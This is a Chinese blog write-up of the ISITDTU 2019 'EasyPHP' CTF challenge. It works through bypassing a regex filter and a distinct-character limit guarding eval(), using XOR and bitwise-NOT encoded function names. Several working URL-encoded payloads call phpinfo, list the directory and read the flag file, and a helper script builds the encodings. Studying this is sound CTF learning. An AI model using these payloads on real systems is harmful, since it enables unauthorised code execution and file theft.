[ISITDTU 2019]EasyPHP

25 篇文章 0 订阅
11 篇文章 0 订阅

这题有点儿复杂
参考

上来就是源码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

源码很短,意思也很简单,绕过两个if进行命令执行。

\x00- 0-9                       匹配\x00到空格(\x20)0-9的数字
'"`$&.,|[{_defgops              匹配这些字符
\x7F                            匹配DEL(\x7F)字符

count_chars() 函数返回字符串中所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。
可以看到~和^没有被过滤,所以应该使用异或和取反绕过。
(~%8F%97%8F%96%91%99%90)();
在这里插入图片描述
%8F%97%8F%96%91%99%90是phpinfo取反后在url编码。
再来看看对第二个if的count_chars函数,
返回一个字符串,包含所有在参数中使用过的不同字符(模式 3)
例如

<?php
$str = "Hello World!";
echo count_chars($str,3);
?>

结果:!HWdelor,很好理解,也就是说不一样的字符不超过13个。
对字符串而言,异或0xff和取反是一样的效果。
例如:((%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();即(phpinfo)();
在这里插入图片描述

这里我们用异或%ff的形式,这样方便后续的构造。
再来看phpinfo里面
在这里插入图片描述
基本上能利用的函数都被禁止了。
但我们可以用print_r(scandir(.))函数获得目录。
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 后面就是(.)
本地测试成功,但绕不过第二个if。
在这里插入图片描述
本地测试后我们的payload经过count_chars之后长度为16,我们要想办法减少三个
这里有一个思路
先上脚本

str = 'acdips'
target = 'ntr'

for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))

我们取三个结果

n = c^d^i
t = c^d^s
r = a^c^p

拿n为例。因为n = c^d^i 所以~n = ~c^d^i成立,即n ^0xff= c^d^i^0xff成立
再来看看我们的payload,取前部分print_r说明
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成:
(%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
在四个括号中,将要替换的字符用响应的三个代替字符代替,最后一个括号全为0xff相当于取反,而其他不变的字符不变,但异或了3个0xff相当于取反三次,等同于去反一次,所以仍不变,本地测试。

<?php
    $str = urldecode('%8F%9E%96%9C%9C%A0%9E')^urldecode('%FF%9C%FF%9B%9B%FF%9C')^urldecode('%FF%8F%FF%96%8C%FF%8F')^urldecode('%FF%FF%FF%FF%FF%FF%FF');
    echo $str;

结果
在这里插入图片描述
再用这个思路将payload中所有的ntr替换。
最后((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
现在本地测一下长度。

<?php 
    $_ = $_GET['_'];
    echo strlen(count_chars($_,3));

在这里插入图片描述
符合我们的要求了,在题目试试。
在这里插入图片描述
成功了,单文件名比较长肯定会超长度,但php有end函数可以读取数组的最后一个,我们的flag文件也正好在数组的最后一个
最后用readfile(end(scandir(.)))就可以了。
最后

((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

在这里插入图片描述
拿到flag

这题看似几行源码花了挺长时间的,做题还是的耐心啊。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值